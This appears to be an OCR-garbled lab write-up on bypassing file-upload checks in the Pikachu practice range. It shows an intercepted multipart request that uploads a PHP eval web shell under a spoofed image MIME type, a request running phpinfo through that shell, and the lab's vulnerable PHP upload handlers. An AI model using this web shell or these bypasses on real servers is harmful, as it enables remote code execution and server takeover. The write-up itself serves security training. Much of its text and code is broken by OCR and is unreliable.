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id=" ">
class=" "SIXHBE R BRI ol </p>
class=" " method=" " enctype=" " action="">
class=" " type=" " name=" " onchange="

class=" " type=" " name=" " " />

function checkFileExt(filename)

{
flag = false;

arr = [ > 15

index = filename.lastIndexOf( )

ext filename.substr(index+1);

for(var i=@;i<arr.length;i++)
{
if(ext arr[i])
{
flag = true;

break;

if(!flag)

{
alert(
location.reload(true);
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i) /pk/vul/unsafeupload/uploads/muma.php?var=phpinfo(); , phpinfott A7 % .
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POST /pk/vul/unsafeupload/clientcheck.php HTTP/1.1
Upgrade-Insecure-Requests: 1

77256803823675970682800536175
Content-Disposition: form-data; name="uploadfile"; filename="1.php"

Content-Type: image/jpeg

<?php eval($ GET["var"])?>
77256803823675970682800536175
Content-Disposition: form-data; name="submit"
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if(isset($ _POST[

$save_path ;
$upload=upload client( ,$save_path);
if($upload[ H{
$html.
}else{
$html. {$upload|

upload_client, %5k & FIEAS, TSR] R — 8,
MIME type
Multipurpose Internet Mail Extensions

B — @A BLHY Content-Type: image/jpeg
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{$upload[

FANEphp $ FILES #4EH4H ) —sLjE 1, hitps://www.php.net/manual/en/reserved.variables files.php
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if(isset($ _POST[

$mime=array( )
$save_path ;
$upload=upload sick( ,$mime, $save path);
if($upload| DA
$html. {$upload[
}else{
$html. {$upload[

function upload _sick($key,$mime,$save path){

$a|“|“ errors ar‘r‘ay(

isset($_FILES[$key][ 1))
$return_datal ]
$return_datal[ ]=false;
return $return_data;
)i
if ($_FILES[$key][ 1'=0) {
$return_datal[ 1=%$arr_errors[$_FILES[$key][
$return_datal[ ]=false;
return $return_data;

in_array($_FILES[$key][ 1, $mime)){
$return_datal[ ]

$return_datal[ ]=false;

return $return_data;

file exists($save_path)){

if(!mkdir($save_path,0777,true)){
$return_datal[ ]
$return_datal[ ]=false;
return $return_data;

b

$save_path=rtrim($save_path, ). ;

if(!move_uploaded file($ FILES[$key][ ],$save path.$ FILES[$key][ 14
$return_datal[ ] 5
$return_datal[ ]=false;
return $return_data;

$return_datal[ 1=$save_path.$ FILES[$key][
$return_datal[ ]=true;

return $return_data;
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pk/vul/unsafeupload/getimagesize.php
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[PHP Version 5.4.45 php

[System Windows NT WIN-OHBOOL1E4EI 6.3 build 9200 (Windows Server 2012 R2 Standard Edition) i586
[Build Date Sep 2 2015 23:45:53

Compiler MSVC9 (Visual C++ 2008)

Architecture xB6

Configure Icscript /nologo configure.js "--enable-snapshot-build® "--disable-isapi” "--enable-debug-pack" "--
Command without-mssgl" "--without-pdo-mssgl* "—without-pi3web" "--with-pdo-oci=C:\php-sdk\oracle

hinstantclient10\sdk,shared® "--with-oci8=C:\php-sdk\oracle\instantclient10\sdk ,shared" “--with-
loci8-11g=C:\php-sdki\oraclelinstantclient11\sdk,shared" "—enable-object-out-dir=..fobj/™ "--enable-
icom-dotnet=shared" "--with-mcrypt=static" "--disable-static-analyze" "--with-pgo"

Server API pache 2.0 Handler
Virtual Directory Enabled
|Support
IConfiguration File|C:\Windows
(php.ini) Path
oaded IC:\Program Files (x86)\phpstudy\PHPTutorial\php\php-5.4.45\php.ini

onfiguration File|
E;an this dir for |[none)

ditional .ini CEOMN @CagcaSiarr
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<?php phpinfo(); ?>
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PHP Version 5.4.45

System Windows NT WIN-OHB00L1E4EI 6.3 build 9200 (Windows Server 2012 R2 Standard Edition) i586

|iulld Date Sep 2 2015 23:45:53

|Compiler MSVCO (Visual C++ 2008)

{Architecture 86

IConfigure cscript fnologo configure.js "--enable-snapshot-build™ "--disable-isapi" "—enable-debug-pack” "--

iICommand without-mssql® "-—-without-pdo-mssql” "—without-pi3web" "--with-pdo-oci=C:\php-sdk\oracle
instantclientlO\sdk,shared” "--with-oci8=C:\php-sdk\oraclelinstantclient10\sdk,shared" "--with-
0ci8-11g=C:\php-sdk\oraclelinstantclient11\sdk,shared" "—enable-object-out-dir=..fobj/* "—enable-
com-dotnet=shared" "--with-mcrypt=static" "--disable-static-analyze" "--with-pgo"

iServer APl Apache 2.0 Handler

\Virtual Directory jenabled

Support

IConfiguration File|C:\Windows

(php.ini) Path

‘ Loaded r::‘.Program Files (x86)\phpstudy\PHPTutorial\php\php-5.4.45\php.ini
iConfiguration File|
an this dir for |none)
itional .ini r CEDN @Cadesitzrr
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if(isset($_POST[
$type=array(
$mime=array( )8
$save_path
$upload=upload( ,$type, $mime, $save_path);
if($upload[
$html. {$upload[
}else{
$html. {$upload[

function upload($key,$size,$type=array(),$mime=array(),$save_path){

$arr_errors=array(

isset($_FILES[$key][ DDA
$return_datal ]




$return_datal ]=false;
return $return_data;
)i
if ($_FILES[$key][ 1'=0) {
$return_datal 1=$arr_errors[$ FILES[$key][
$return_datal ]=false;

return $return_data;

if(!is_uploaded file($ FILES[$key][
$return_datal ]
$return_datal ]=false;

return $Peturn7data;

$arr_filename=pathinfo($ FILES[$key][
if(!isset($arr_filename[ 1)){

$arr_filename|[

if(!in_array(strtolower($arr_filenamel[ 1),%$type)){
$return_datal ] .implode( ,$type).
$return_datal ]=false;

return $return_data;

in_array($_FILES[$key][ 1, $mime)){
$return_datal[ ]

$return_datal[ ]=false;

return $return_data;

getimagesize($_FILES[$key][
$return_datal[ ]
$return_datal[ ]=false;
return $return_data;

if($_FILES[$key][ ]>$size){
$return_datal[ ]
$return_datal[ ]=false;

return $return_data;

if(!file_exists($save_path)){
if(!mkdir($save_path,0777,true)){
$return_datal[ ]
$return_datal[ ]=false;
return $return_data;

$new_filename=str_replace( , ' ',unigid(mt_rand(100000,999999),true));
if($arr_filename[ ] ){
$arr_filenamel[ ]=strtolower($arr_filename[ 1;

$new_filename. {$arr_filename[ 135




$save_path=rtrim($save path, ). ;

if(!move_uploaded file($ FILES[$key][ 1,$save path.$new filename)){
$return_datal[ ] ;
$return_datal ]=false;

return $return_data;

$return_datal ]=$save_path.$new filename;

$return_datal 1=$new_filename;

$return_datal ]=true;

return $return_data;
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